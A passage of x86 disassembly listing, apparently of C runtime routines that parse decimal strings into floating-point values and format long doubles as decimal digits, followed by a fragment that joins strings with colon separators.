[ebp+var_4C], 0Ah mov eax, [ebp+var_64] mov [ebp+var_4], eax loc_433876: ; CODE XREF: sub_433320+547j jmp loc_433B23 ; --------------------------------------------------------------------------- loc_43387B: ; CODE XREF: sub_433320+D5j ; DATA XREF: seg000:00433D52o mov ecx, [ebp+var_4] sub ecx, 2 mov [ebp+var_64], ecx movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_4338A8 movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_4338A8 mov [ebp+var_4C], 9 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_4338FD ; --------------------------------------------------------------------------- loc_4338A8: ; CODE XREF: sub_433320+56Bj ; sub_433320+574j mov dl, byte ptr [ebp+var_3C] mov [ebp+var_A4], dl cmp [ebp+var_A4], 2Bh jz short loc_4338E7 cmp [ebp+var_A4], 2Dh jz short loc_4338D7 cmp [ebp+var_A4], 30h jz short loc_4338CE jmp short loc_4338F0 ; --------------------------------------------------------------------------- loc_4338CE: ; CODE XREF: sub_433320+5AAj mov [ebp+var_4C], 8 jmp short loc_4338FD ; --------------------------------------------------------------------------- loc_4338D7: ; CODE XREF: sub_433320+5A1j mov [ebp+var_4C], 7 mov [ebp+var_74], 0FFFFFFFFh jmp short loc_4338FD ; --------------------------------------------------------------------------- loc_4338E7: ; CODE XREF: sub_433320+598j mov [ebp+var_4C], 7 jmp short loc_4338FD ; --------------------------------------------------------------------------- loc_4338F0: ; CODE XREF: sub_433320+5ACj mov [ebp+var_4C], 0Ah mov eax, [ebp+var_64] mov [ebp+var_4], eax loc_4338FD: ; CODE XREF: sub_433320+586j ; sub_433320+5B5j ... jmp loc_433B23 ; --------------------------------------------------------------------------- loc_433902: ; CODE XREF: sub_433320+D5j ; DATA XREF: seg000:00433D5Ao mov [ebp+var_18], 1 jmp short loc_43391C ; --------------------------------------------------------------------------- loc_43390B: ; CODE XREF: sub_433320+605j mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_43391C: ; CODE XREF: sub_433320+5E9j movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 30h jnz short loc_433927 jmp short loc_43390B ; --------------------------------------------------------------------------- loc_433927: ; CODE XREF: sub_433320+603j movsx edx, byte ptr [ebp+var_3C] cmp edx, 31h jl short loc_43394B movsx eax, byte ptr [ebp+var_3C] cmp eax, 39h jg short loc_43394B mov [ebp+var_4C], 9 mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx jmp short loc_43395B ; --------------------------------------------------------------------------- loc_43394B: ; CODE XREF: sub_433320+60Ej ; sub_433320+617j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_43395B: ; CODE XREF: sub_433320+629j jmp loc_433B23 ; --------------------------------------------------------------------------- loc_433960: ; CODE XREF: sub_433320+D5j ; DATA XREF: seg000:00433D56o movsx eax, byte ptr [ebp+var_3C] cmp eax, 31h jl short loc_433984 movsx ecx, byte ptr [ebp+var_3C] cmp ecx, 39h jg short loc_433984 mov [ebp+var_4C], 9 mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_4339AE ; --------------------------------------------------------------------------- loc_433984: ; CODE XREF: sub_433320+647j ; sub_433320+650j mov al, byte ptr [ebp+var_3C] mov [ebp+var_A8], al cmp [ebp+var_A8], 30h jz short loc_433998 jmp short loc_4339A1 ; --------------------------------------------------------------------------- loc_433998: ; CODE XREF: sub_433320+674j mov [ebp+var_4C], 8 jmp short loc_4339AE ; --------------------------------------------------------------------------- loc_4339A1: ; CODE XREF: sub_433320+676j mov [ebp+var_4C], 0Ah mov ecx, [ebp+var_64] mov [ebp+var_4], ecx loc_4339AE: ; CODE XREF: sub_433320+662j ; sub_433320+67Fj jmp loc_433B23 ; --------------------------------------------------------------------------- loc_4339B3: ; CODE XREF: sub_433320+D5j ; DATA XREF: seg000:00433D5Eo mov [ebp+var_18], 1 mov [ebp+var_7C], 0 jmp short loc_4339D4 ; --------------------------------------------------------------------------- loc_4339C3: ; CODE XREF: sub_433320:loc_433A42j mov edx, [ebp+var_4] mov al, [edx] mov byte ptr [ebp+var_3C], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_4339D4: ; CODE XREF: sub_433320+6A1j cmp ds:dword_44FD20, 1 jle short loc_4339F9 push 4 mov edx, [ebp+var_3C] and edx, 0FFh push edx call sub_423D90 add esp, 8 mov [ebp+var_AC], eax jmp short loc_433A16 ; --------------------------------------------------------------------------- loc_4339F9: ; CODE XREF: sub_433320+6BBj mov eax, [ebp+var_3C] and eax, 0FFh mov ecx, ds:off_44FE2C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_AC], edx loc_433A16: ; CODE XREF: sub_433320+6D7j cmp [ebp+var_AC], 0 jz short loc_433A47 mov eax, [ebp+var_7C] imul eax, 0Ah movsx ecx, byte ptr [ebp+var_3C] lea edx, [eax+ecx-30h] mov [ebp+var_7C], edx cmp [ebp+var_7C], 1450h jle short loc_433A42 mov [ebp+var_7C], 1451h jmp short loc_433A47 ; --------------------------------------------------------------------------- loc_433A42: ; CODE XREF: sub_433320+717j jmp loc_4339C3 ; --------------------------------------------------------------------------- loc_433A47: ; CODE XREF: sub_433320+6FDj ; sub_433320+720j mov eax, [ebp+var_7C] mov [ebp+var_14], eax jmp short loc_433A60 ; --------------------------------------------------------------------------- loc_433A4F: ; CODE XREF: sub_433320+78Bj mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_3C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_433A60: ; CODE XREF: sub_433320+72Dj cmp ds:dword_44FD20, 1 jle short loc_433A85 push 4 mov ecx, [ebp+var_3C] and ecx, 0FFh push ecx call sub_423D90 add esp, 8 mov [ebp+var_B0], eax jmp short loc_433AA2 ; --------------------------------------------------------------------------- loc_433A85: ; CODE XREF: sub_433320+747j mov edx, [ebp+var_3C] and edx, 0FFh mov eax, ds:off_44FE2C xor ecx, ecx mov cx, [eax+edx*2] and ecx, 4 mov [ebp+var_B0], ecx loc_433AA2: ; CODE XREF: sub_433320+763j cmp [ebp+var_B0], 0 jz short loc_433AAD jmp short loc_433A4F ; --------------------------------------------------------------------------- loc_433AAD: ; CODE XREF: sub_433320+789j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_433B23 ; --------------------------------------------------------------------------- loc_433ABF: ; CODE XREF: sub_433320+D5j ; DATA XREF: seg000:00433D66o cmp [ebp+arg_18], 0 jz short loc_433B13 mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_64], eax mov cl, byte ptr [ebp+var_3C] mov [ebp+var_B4], cl cmp [ebp+var_B4], 2Bh jz short loc_433AFB cmp [ebp+var_B4], 2Dh jz short loc_433AEB jmp short loc_433B04 ; --------------------------------------------------------------------------- loc_433AEB: ; CODE XREF: sub_433320+7C7j mov [ebp+var_4C], 7 mov [ebp+var_74], 0FFFFFFFFh jmp short loc_433B11 ; --------------------------------------------------------------------------- loc_433AFB: ; CODE XREF: sub_433320+7BEj mov [ebp+var_4C], 7 jmp short loc_433B11 ; --------------------------------------------------------------------------- loc_433B04: ; CODE XREF: sub_433320+7C9j mov [ebp+var_4C], 0Ah mov edx, [ebp+var_64] mov [ebp+var_4], edx loc_433B11: ; CODE XREF: sub_433320+7D9j ; sub_433320+7E2j jmp short loc_433B23 ; --------------------------------------------------------------------------- loc_433B13: ; CODE XREF: sub_433320+7A3j mov [ebp+var_4C], 0Ah mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax loc_433B23: ; CODE XREF: sub_433320+CCj ; sub_433320+D5j ... jmp loc_4333C7 ; --------------------------------------------------------------------------- loc_433B28: ; CODE XREF: sub_433320+ABj mov ecx, [ebp+arg_4] mov edx, [ebp+var_4] mov [ecx], edx cmp [ebp+var_54], 0 jz loc_433C77 cmp [ebp+var_40], 0 jnz loc_433C77 cmp [ebp+var_78], 0 jnz loc_433C77 cmp [ebp+var_70], 18h jbe short loc_433B7F movsx eax, [ebp+var_21] cmp eax, 5 jl short loc_433B66 mov cl, [ebp+var_21] add cl, 1 mov [ebp+var_21], cl loc_433B66: ; CODE XREF: sub_433320+83Bj mov [ebp+var_70], 18h mov edx, [ebp+var_68] sub edx, 1 mov [ebp+var_68], edx mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax loc_433B7F: ; CODE XREF: sub_433320+832j cmp [ebp+var_70], 0 jbe loc_433C5A mov ecx, [ebp+var_68] sub ecx, 1 mov [ebp+var_68], ecx jmp short loc_433B9D ; --------------------------------------------------------------------------- loc_433B94: ; CODE XREF: sub_433320+899j mov edx, [ebp+var_68] sub edx, 1 mov [ebp+var_68], edx loc_433B9D: ; CODE XREF: sub_433320+872j mov eax, [ebp+var_68] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_433BBB mov edx, [ebp+var_70] sub edx, 1 mov [ebp+var_70], edx mov eax, [ebp+var_6C] add eax, 1 mov [ebp+var_6C], eax jmp short loc_433B94 ; --------------------------------------------------------------------------- loc_433BBB: ; CODE XREF: sub_433320+885j lea ecx, [ebp+var_60] push ecx mov edx, [ebp+var_70] push edx lea eax, [ebp+var_38] push eax call sub_4331E0 add esp, 0Ch cmp [ebp+var_74], 0 jge short loc_433BDD mov ecx, [ebp+var_14] neg ecx mov [ebp+var_14], ecx loc_433BDD: ; CODE XREF: sub_433320+8B3j mov edx, [ebp+var_14] add edx, [ebp+var_6C] mov [ebp+var_14], edx cmp [ebp+var_18], 0 jnz short loc_433BF5 mov eax, [ebp+var_14] add eax, [ebp+arg_10] mov [ebp+var_14], eax loc_433BF5: ; CODE XREF: sub_433320+8CAj cmp [ebp+var_C], 0 jnz short loc_433C04 mov ecx, [ebp+var_14] sub ecx, [ebp+arg_14] mov [ebp+var_14], ecx loc_433C04: ; CODE XREF: sub_433320+8D9j cmp [ebp+var_14], 1450h jle short loc_433C16 mov [ebp+var_40], 1 jmp short loc_433C58 ; --------------------------------------------------------------------------- loc_433C16: ; CODE XREF: sub_433320+8EBj cmp [ebp+var_14], 0FFFFEBB0h jge short loc_433C28 mov [ebp+var_78], 1 jmp short loc_433C58 ; --------------------------------------------------------------------------- loc_433C28: ; CODE XREF: sub_433320+8FDj mov edx, [ebp+arg_C] push edx mov eax, [ebp+var_14] push eax lea ecx, [ebp+var_60] push ecx call sub_4365B0 add esp, 0Ch mov dx, [ebp+var_60] mov [ebp+var_48], dx mov eax, [ebp+var_5E] mov [ebp+var_8], eax mov ecx, [ebp+var_5A] mov [ebp+var_10], ecx mov dx, [ebp+var_56] mov word ptr [ebp+var_50], dx loc_433C58: ; CODE XREF: sub_433320+8F4j ; sub_433320+906j jmp short loc_433C77 ; --------------------------------------------------------------------------- loc_433C5A: ; CODE XREF: sub_433320+863j mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov eax, [ebp+var_50] and eax, 0FFFFh mov [ebp+var_10], eax mov ecx, [ebp+var_10] mov [ebp+var_8], ecx loc_433C77: ; CODE XREF: sub_433320+814j ; sub_433320+81Ej ... cmp [ebp+var_54], 0 jnz short loc_433CA6 mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov edx, [ebp+var_50] and edx, 0FFFFh mov [ebp+var_10], edx mov eax, [ebp+var_10] mov [ebp+var_8], eax mov ecx, [ebp+var_44] or ecx, 4 mov [ebp+var_44], ecx jmp short loc_433CFD ; --------------------------------------------------------------------------- loc_433CA6: ; CODE XREF: sub_433320+95Bj cmp [ebp+var_40], 0 jz short loc_433CD1 mov word ptr [ebp+var_50], 7FFFh mov [ebp+var_10], 80000000h mov [ebp+var_8], 0 mov [ebp+var_48], 0 mov edx, [ebp+var_44] or edx, 2 mov [ebp+var_44], edx jmp short loc_433CFD ; --------------------------------------------------------------------------- loc_433CD1: ; CODE XREF: sub_433320+98Aj cmp [ebp+var_78], 0 jz short loc_433CFD mov [ebp+var_48], 0 mov word ptr [ebp+var_50], 0 mov eax, [ebp+var_50] and eax, 0FFFFh mov [ebp+var_10], eax mov ecx, [ebp+var_10] mov [ebp+var_8], ecx mov edx, [ebp+var_44] or edx, 1 mov [ebp+var_44], edx loc_433CFD: ; CODE XREF: sub_433320+984j ; sub_433320+9AFj ... mov eax, [ebp+arg_0] mov cx, [ebp+var_48] mov [eax], cx mov edx, [ebp+arg_0] mov eax, [ebp+var_8] mov [edx+2], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_10] mov [ecx+6], edx mov eax, [ebp+var_50] and eax, 0FFFFh mov ecx, [ebp+var_1C] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+0Ah], ax mov eax, [ebp+var_44] mov esp, ebp pop ebp retn sub_433320 endp ; --------------------------------------------------------------------------- off_433D3A dd offset loc_4333FC ; DATA XREF: sub_433320+D5r dd offset loc_43349A dd offset loc_433550 dd offset loc_4335BB dd offset loc_4336D3 dd offset loc_433805 dd offset loc_43387B dd offset loc_433960 dd offset loc_433902 dd offset loc_4339B3 dd offset loc_433B23 dd offset loc_433ABF off_433D6A dd offset loc_433529 ; DATA XREF: sub_433320+1F0r dd offset loc_433517 dd offset loc_433520 dd offset loc_43353B byte_433D7A db 0 ; DATA XREF: sub_433320+1EAr db 3 dd 1030300h, 4 dup(3030303h), 2030303h, 3030302h, 6 dup(3030303h) dd 2030303h db 2 off_433DB5 dd offset loc_4336AC ; DATA XREF: sub_433320+37Cr dd offset loc_4336A3 dd offset loc_4336BE byte_433DC1 db 0 ; DATA XREF: sub_433320+376r dw 2 dd 5 dup(2020202h), 1010202h, 7 dup(2020202h), 1010202h off_433DFC dd offset loc_4337DE ; DATA XREF: sub_433320+4AEr dd offset loc_4337D5 dd offset loc_4337F0 byte_433E08 db 0 ; DATA XREF: sub_433320+4A8r db 2, 0, 2 dd 5 dup(2020202h), 2010102h, 7 dup(2020202h), 0CC010102h dd 3 dup(0CCCCCCCCh) ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 14h push 0 push 0 push 0 mov eax, [ebp+14h] push eax mov ecx, [ebp+10h] push ecx mov edx, [ebp+0Ch] push edx lea eax, [ebp-0Ch] push eax call sub_433320 add esp, 1Ch mov [ebp-14h], eax mov ecx, [ebp+8] push ecx lea edx, [ebp-0Ch] push edx call sub_4301D0 add esp, 8 mov [ebp-10h], eax cmp dword ptr [ebp-10h], 1 jnz short loc_433E98 mov eax, [ebp-14h] or al, 2 mov [ebp-14h], eax loc_433E98: ; CODE XREF: seg000:00433E8Ej mov eax, [ebp-14h] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_433EA0 proc near ; CODE XREF: sub_430450+36p var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = word ptr -5Ch var_58 = dword ptr -58h var_54 = byte ptr -54h var_53 = byte ptr -53h var_52 = byte ptr -52h var_51 = byte ptr -51h var_50 = byte ptr -50h var_4F = byte ptr -4Fh var_4E = byte ptr -4Eh var_4D = byte ptr -4Dh var_4C = byte ptr -4Ch var_4B = byte ptr -4Bh var_4A = byte ptr -4Ah var_49 = byte ptr -49h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_32 = dword ptr -32h var_2E = dword ptr -2Eh var_28 = byte ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = word ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = word ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp sub esp, 74h mov word ptr [ebp+var_64], 4D10h mov word ptr [ebp+var_3C], 4Dh mov word ptr [ebp+var_60], 9Ah mov [ebp+var_20], 134312F4h mov [ebp+var_54], 0CCh mov [ebp+var_53], 0CCh mov [ebp+var_52], 0CCh mov [ebp+var_51], 0CCh mov [ebp+var_50], 0CCh mov [ebp+var_4F], 0CCh mov [ebp+var_4E], 0CCh mov [ebp+var_4D], 0CCh mov [ebp+var_4C], 0CCh mov [ebp+var_4B], 0CCh mov [ebp+var_4A], 0FBh mov [ebp+var_49], 3Fh mov [ebp+var_58], 1 mov ax, [ebp+arg_8] mov word ptr [ebp+var_70], ax mov ecx, [ebp+arg_4] mov [ebp+var_24], ecx mov edx, [ebp+arg_0] mov [ebp+var_48], edx mov eax, [ebp+var_70] and eax, 0FFFFh and eax, 8000h mov word ptr [ebp+var_68], ax mov cx, word ptr [ebp+var_70] and cx, 7FFFh mov word ptr [ebp+var_70], cx mov edx, [ebp+var_68] and edx, 0FFFFh test edx, edx jz short loc_433F3E mov eax, [ebp+arg_14] mov byte ptr [eax+2], 2Dh jmp short loc_433F45 ; --------------------------------------------------------------------------- loc_433F3E: ; CODE XREF: sub_433EA0+93j mov ecx, [ebp+arg_14] mov byte ptr [ecx+2], 20h loc_433F45: ; CODE XREF: sub_433EA0+9Cj mov edx, [ebp+var_70] and edx, 0FFFFh test edx, edx jnz short loc_433F8C cmp [ebp+var_24], 0 jnz short loc_433F8C cmp [ebp+var_48], 0 jnz short loc_433F8C mov eax, [ebp+arg_14] mov word ptr [eax], 0 mov ecx, [ebp+arg_14] mov byte ptr [ecx+2], 20h mov edx, [ebp+arg_14] mov byte ptr [edx+3], 1 mov eax, [ebp+arg_14] mov byte ptr [eax+4], 30h mov ecx, [ebp+arg_14] mov byte ptr [ecx+5], 0 mov eax, 1 jmp loc_4343B2 ; --------------------------------------------------------------------------- loc_433F8C: ; CODE XREF: sub_433EA0+B0j ; sub_433EA0+B6j ... mov edx, [ebp+var_70] and edx, 0FFFFh cmp edx, 7FFFh jnz loc_434086 mov eax, [ebp+arg_14] mov word ptr [eax], 1 cmp [ebp+var_24], 80000000h jnz short loc_433FB8 cmp [ebp+var_48], 0 jz short loc_433FEC loc_433FB8: ; CODE XREF: sub_433EA0+110j mov ecx, [ebp+var_24] and ecx, 40000000h test ecx, ecx jnz short loc_433FEC push offset dword_43AD88 mov edx, [ebp+arg_14] add edx, 4 push edx call sub_41E550 add esp, 8 mov eax, [ebp+arg_14] mov byte ptr [eax+3], 6 mov [ebp+var_58], 0 jmp loc_434081 ; --------------------------------------------------------------------------- loc_433FEC: ; CODE XREF: sub_433EA0+116j ; sub_433EA0+123j mov ecx, [ebp+var_68] and ecx, 0FFFFh test ecx, ecx jz short loc_43402C cmp [ebp+var_24], 0C0000000h jnz short loc_43402C cmp [ebp+var_48], 0 jnz short loc_43402C push offset dword_43AD80 mov edx, [ebp+arg_14] add edx, 4 push edx call sub_41E550 add esp, 8 mov eax, [ebp+arg_14] mov byte ptr [eax+3], 5 mov [ebp+var_58], 0 jmp short loc_434081 ; --------------------------------------------------------------------------- loc_43402C: ; CODE XREF: sub_433EA0+157j ; sub_433EA0+160j ... cmp [ebp+var_24], 80000000h jnz short loc_43405F cmp [ebp+var_48], 0 jnz short loc_43405F push offset dword_43AD78 mov ecx, [ebp+arg_14] add ecx, 4 push ecx call sub_41E550 add esp, 8 mov edx, [ebp+arg_14] mov byte ptr [edx+3], 5 mov [ebp+var_58], 0 jmp short loc_434081 ; --------------------------------------------------------------------------- loc_43405F: ; CODE XREF: sub_433EA0+193j ; sub_433EA0+199j push offset dword_43AD70 mov eax, [ebp+arg_14] add eax, 4 push eax call sub_41E550 add esp, 8 mov ecx, [ebp+arg_14] mov byte ptr [ecx+3], 6 mov [ebp+var_58], 0 loc_434081: ; CODE XREF: sub_433EA0+147j ; sub_433EA0+18Aj ... jmp loc_4343AF ; --------------------------------------------------------------------------- loc_434086: ; CODE XREF: sub_433EA0+FBj mov edx, [ebp+var_70] and edx, 0FFFFh sar edx, 8 mov word ptr [ebp+var_6C], dx mov eax, [ebp+var_70] and eax, 0FFFFh and eax, 0FFh mov [ebp+var_C], ax mov ecx, [ebp+var_24] shr ecx, 18h mov word ptr [ebp+var_40], cx mov edx, [ebp+var_64] and edx, 0FFFFh mov eax, [ebp+var_70] and eax, 0FFFFh imul edx, eax mov ecx, [ebp+var_3C] and ecx, 0FFFFh mov eax, [ebp+var_6C] and eax, 0FFFFh imul ecx, eax add edx, ecx mov ecx, [ebp+var_60] and ecx, 0FFFFh mov eax, [ebp+var_40] and eax, 0FFFFh imul ecx, eax add edx, ecx sub edx, [ebp+var_20] mov [ebp+var_8], edx mov ecx, [ebp+var_8] sar ecx, 10h mov [ebp+var_5C], cx mov dx, word ptr [ebp+var_70] mov word ptr [ebp+var_2E], dx mov eax, [ebp+var_24] mov [ebp+var_32], eax mov ecx, [ebp+var_48] mov [ebp+var_38+2], ecx mov word ptr [ebp+var_38], 0 push 1 movsx edx, [ebp+var_5C] neg edx push edx lea eax, [ebp+var_38] push eax call sub_4365B0 add esp, 0Ch mov ecx, [ebp+var_2E] and ecx, 0FFFFh cmp ecx, 3FFFh jl short loc_43415D mov dx, [ebp+var_5C] add dx, 1 mov [ebp+var_5C], dx lea eax, [ebp+var_54] push eax lea ecx, [ebp+var_38] push ecx call sub_436170 add esp, 8 loc_43415D: ; CODE XREF: sub_433EA0+29Fj mov edx, [ebp+arg_14] mov ax, [ebp+var_5C] mov [edx], ax mov ecx, [ebp+arg_10] and ecx, 1 test ecx, ecx jz short loc_4341B1 movsx edx, [ebp+var_5C] mov eax, [ebp+arg_C] add eax, edx mov [ebp+arg_C], eax cmp [ebp+arg_C], 0 jg short loc_4341B1 mov ecx, [ebp+arg_14] mov word ptr [ecx], 0 mov edx, [ebp+arg_14] mov byte ptr [edx+2], 20h mov eax, [ebp+arg_14] mov byte ptr [eax+3], 1 mov ecx, [ebp+arg_14] mov byte ptr [ecx+4], 30h mov edx, [ebp+arg_14] mov byte ptr [edx+5], 0 mov eax, 1 jmp loc_4343B2 ; --------------------------------------------------------------------------- loc_4341B1: ; CODE XREF: sub_433EA0+2CFj ; sub_433EA0+2E1j cmp [ebp+arg_C], 15h jle short loc_4341BE mov [ebp+arg_C], 15h loc_4341BE: ; CODE XREF: sub_433EA0+315j mov eax, [ebp+var_2E] and eax, 0FFFFh sub eax, 3FFEh mov [ebp+var_2E+2], eax mov word ptr [ebp+var_2E], 0 mov [ebp+var_44], 0 jmp short loc_4341E6 ; --------------------------------------------------------------------------- loc_4341DD: ; CODE XREF: sub_433EA0+358j mov ecx, [ebp+var_44] add ecx, 1 mov [ebp+var_44], ecx loc_4341E6: ; CODE XREF: sub_433EA0+33Bj cmp [ebp+var_44], 8 jge short loc_4341FA lea edx, [ebp+var_38] push edx call sub_433110 add esp, 4 jmp short loc_4341DD ; --------------------------------------------------------------------------- loc_4341FA: ; CODE XREF: sub_433EA0+34Aj cmp [ebp+var_2E+2], 0 jge short loc_43422C mov eax, [ebp+var_2E+2] neg eax and eax, 0FFh mov [ebp+var_74], eax jmp short loc_434218 ; --------------------------------------------------------------------------- loc_43420F: ; CODE XREF: sub_433EA0+38Aj mov ecx, [ebp+var_74] sub ecx, 1 mov [ebp+var_74], ecx loc_434218: ; CODE XREF: sub_433EA0+36Dj cmp [ebp+var_74], 0 jle short loc_43422C lea edx, [ebp+var_38] push edx call sub_433170 add esp, 4 jmp short loc_43420F ; --------------------------------------------------------------------------- loc_43422C: ; CODE XREF: sub_433EA0+35Ej ; sub_433EA0+37Cj mov eax, [ebp+arg_14] add eax, 4 mov [ebp+var_4], eax mov ecx, [ebp+arg_C] add ecx, 1 mov [ebp+var_10], ecx jmp short loc_434249 ; --------------------------------------------------------------------------- loc_434240: ; CODE XREF: sub_433EA0+413j mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx loc_434249: ; CODE XREF: sub_433EA0+39Ej cmp [ebp+var_10], 0 jle short loc_4342B5 mov eax, [ebp+var_38] mov [ebp+var_1C], eax mov ecx, [ebp-34h] mov [ebp+var_18], ecx mov edx, [ebp+var_32+2] mov [ebp+var_14], edx lea eax, [ebp+var_38] push eax call sub_433110 add esp, 4 lea ecx, [ebp+var_38] push ecx call sub_433110 add esp, 4 lea edx, [ebp+var_1C] push edx lea eax, [ebp+var_38] push eax call sub_433060 add esp, 8 lea ecx, [ebp+var_38] push ecx call sub_433110 add esp, 4 mov edx, [ebp+var_2E+1] and edx, 0FFh add edx, 30h mov eax, [ebp+var_4] mov [eax], dl mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov byte ptr [ebp+var_2E+1], 0 jmp short loc_434240 ; --------------------------------------------------------------------------- loc_4342B5: ; CODE XREF: sub_433EA0+3ADj mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] mov [ebp+var_28], cl mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx movsx eax, [ebp+var_28] cmp eax, 35h jl short loc_434333 jmp short loc_4342E3 ; --------------------------------------------------------------------------- loc_4342DA: ; CODE XREF: sub_433EA0+45Fj mov ecx, [ebp+var_4] sub ecx, 1 mov [ebp+var_4], ecx loc_4342E3: ; CODE XREF: sub_433EA0+438j mov edx, [ebp+arg_14] add edx, 4 cmp [ebp+var_4], edx jb short loc_434301 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 39h jnz short loc_434301 mov edx, [ebp+var_4] mov byte ptr [edx], 30h jmp short loc_4342DA ; --------------------------------------------------------------------------- loc_434301: ; CODE XREF: sub_433EA0+44Cj ; sub_433EA0+457j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jnb short loc_434325 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_14] mov ax, [edx] add ax, 1 mov ecx, [ebp+arg_14] mov [ecx], ax loc_434325: ; CODE XREF: sub_433EA0+46Aj mov edx, [ebp+var_4] mov al, [edx] add al, 1 mov ecx, [ebp+var_4] mov [ecx], al jmp short loc_43438C ; --------------------------------------------------------------------------- loc_434333: ; CODE XREF: sub_433EA0+436j jmp short loc_43433E ; --------------------------------------------------------------------------- loc_434335: ; CODE XREF: sub_433EA0+4B4j mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx loc_43433E: ; CODE XREF: sub_433EA0:loc_434333j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jb short loc_434356 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 30h jnz short loc_434356 jmp short loc_434335 ; --------------------------------------------------------------------------- loc_434356: ; CODE XREF: sub_433EA0+4A7j ; sub_433EA0+4B2j mov eax, [ebp+arg_14] add eax, 4 cmp [ebp+var_4], eax jnb short loc_43438C mov ecx, [ebp+arg_14] mov word ptr [ecx], 0 mov edx, [ebp+arg_14] mov byte ptr [edx+2], 20h mov eax, [ebp+arg_14] mov byte ptr [eax+3], 1 mov ecx, [ebp+arg_14] mov byte ptr [ecx+4], 30h mov edx, [ebp+arg_14] mov byte ptr [edx+5], 0 mov eax, 1 jmp short loc_4343B2 ; --------------------------------------------------------------------------- loc_43438C: ; CODE XREF: sub_433EA0+491j ; sub_433EA0+4BFj mov eax, [ebp+arg_14] add eax, 4 mov ecx, [ebp+var_4] sub ecx, eax add ecx, 1 mov edx, [ebp+arg_14] mov [edx+3], cl mov eax, [ebp+arg_14] movsx ecx, byte ptr [eax+3] mov edx, [ebp+arg_14] mov byte ptr [edx+ecx+4], 0 loc_4343AF: ; CODE XREF: sub_433EA0:loc_434081j mov eax, [ebp+var_58] loc_4343B2: ; CODE XREF: sub_433EA0+E7j ; sub_433EA0+30Cj ... mov esp, ebp pop ebp retn sub_433EA0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 14h push esi mov eax, ds:off_450F58 mov [ebp-0Ch], eax mov dword ptr [ebp-8], 0 mov dword ptr [ebp-10h], 0 jmp short loc_4343E8 ; --------------------------------------------------------------------------- loc_4343DF: ; CODE XREF: seg000:0043441Fj mov ecx, [ebp-10h] add ecx, 1 mov [ebp-10h], ecx loc_4343E8: ; CODE XREF: seg000:004343DDj cmp dword ptr [ebp-10h], 7 jnb short loc_434421 mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx call sub_41AC70 add esp, 4 mov esi, eax mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4+1Ch] push ecx call sub_41AC70 add esp, 4 add eax, [ebp-8] lea edx, [eax+esi+2] mov [ebp-8], edx jmp short loc_4343DF ; --------------------------------------------------------------------------- loc_434421: ; CODE XREF: seg000:004343ECj mov eax, [ebp-8] add eax, 1 push eax call sub_41AE40 add esp, 4 mov [ebp-4], eax cmp dword ptr [ebp-4], 0 jz loc_4344D9 mov ecx, [ebp-4] mov [ebp-14h], ecx mov dword ptr [ebp-10h], 0 jmp short loc_434455 ; --------------------------------------------------------------------------- loc_43444C: ; CODE XREF: seg000:004344C8j mov edx, [ebp-10h] add edx, 1 mov [ebp-10h], edx loc_434455: ; CODE XREF: seg000:0043444Aj cmp dword ptr [ebp-10h], 7 jnb short loc_4344CA mov eax, [ebp-14h] mov byte ptr [eax], 3Ah mov ecx, [ebp-14h] add ecx, 1 mov [ebp-14h], ecx mov edx, [ebp-10h] mov eax, [ebp-0Ch] mov ecx, [eax+edx*4] push ecx mov 